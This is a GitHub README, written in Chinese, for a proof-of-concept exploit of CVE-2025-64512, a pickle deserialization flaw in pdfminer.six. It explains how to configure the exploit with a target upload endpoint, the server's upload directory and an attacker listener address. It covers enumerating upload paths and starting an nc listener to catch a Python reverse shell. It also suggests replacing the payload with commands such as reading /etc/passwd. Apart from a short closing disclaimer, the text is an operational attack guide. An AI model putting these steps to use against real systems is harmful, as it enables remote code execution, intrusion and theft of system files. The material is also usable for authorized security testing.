stoic-crawler/CVE-2025-64512
GitHub: stoic-crawler/CVE-2025-64512
针对 pdfminer.six 反序列化漏洞 CVE-2025-64512 的 PoC 利用工具,通过恶意 PDF 触发任意命令执行并获取反向 shell。
Stars: 0 | Forks: 0
# CVE-2025-64512 – pdfminer.six 反序列化 PoC
## 概述
本概念验证演示了 **pdfminer.six** (CVE-2025-64512) 中的一项漏洞,该漏洞可在处理恶意 PDF 时导致任意命令执行。该漏洞利用程序使用了一个特制的 PDF,该 PDF 引用了一个恶意的、经 gzip 压缩的 Python pickle。当存在漏洞的应用程序解析该 PDF 时,会加载 pickle 并执行嵌入的 payload。
包含的 PoC 被配置为执行 Python 反向 shell,但该 payload 可以被替换为任何命令。
## 环境要求
* Python 3
* `requests`
安装所需的依赖:
```
pip install requests
```
## 配置
在运行漏洞利用程序之前,请编辑 `exploit.py` 的配置部分:
```
BASE_URL = ""
UPLOAD_DIR = ""
LHOST = ""
LPORT = 4444
```
### BASE_URL
存在漏洞的上传 endpoint 的 URL。
示例:
```
BASE_URL = "http://target/upload.php"
```
漏洞利用程序会将恶意 PDF 和压缩的 pickle 一并上传至该 endpoint。
### UPLOAD_DIR
目标服务器上存储上传文件的绝对目录。
示例:
```
UPLOAD_DIR = "/var/www/html/uploads"
```
此路径会被嵌入到生成的 PDF 中,并且**必须与存在漏洞的应用程序稍后读取已上传 pickle 的位置相匹配**。
如果上传目录未知,请在信息枚举阶段确定它。视具体应用程序而定,有效的技术包括:
* 查看应用程序源代码(如果有)
* 检查错误消息或 stack trace
* 查找配置文件
* 确定上传文件的提供服务位置
* 枚举可预测的上传位置
* 在适当的时候对可能的上传路径进行模糊测试
常见位置包括:
```
/var/www/html/uploads
/var/www/uploads
/srv/www/uploads
/opt/application/uploads
```
正确的目录完全取决于目标应用程序。
### LHOST
您的监听端 IP 地址。
示例:
```
LHOST = "10.10.14.5"
```
### LPORT
反向 shell 的监听端口。
示例:
```
LPORT = 4444
```
在运行漏洞利用程序之前,请启动监听器:
```
nc -lvnp 4444
```
## 用法
执行漏洞利用程序:
```
python3 exploit.py
```
该脚本将会:
1. 生成一个恶意 pickle。
2. 将其压缩为 `evil.pickle.gz`。
3. 生成一个引用该 pickle 的恶意 PDF。
4. 上传这两个文件。
5. 触发 PDF 处理。
6. 如果目标存在漏洞,则执行 payload。
## 自定义 Payload
通过修改传递给以下位置的命令,您可以执行任何操作系统命令,而不仅仅是反向 shell:
```
create_pickle_with_cmd(command)
```
示例包括:
```
id
whoami
uname -a
cat /etc/passwd
```
## 注意事项
* 存在漏洞的应用程序必须使用存在漏洞版本的 **pdfminer.six** 来处理上传的 PDF。
* 已上传的 pickle 必须在特制 PDF 引用的路径中保持可访问状态。
* 成功的漏洞利用取决于目标的处理工作流和文件存储布局。
## 免责声明
本概念验证仅用于教育目的、安全研究和授权的渗透测试。请仅在获得明确许可进行安全测试的系统上使用它。
标签:CISA项目, PDF处理, Python, 反序列化漏洞, 无后门, 网络信息收集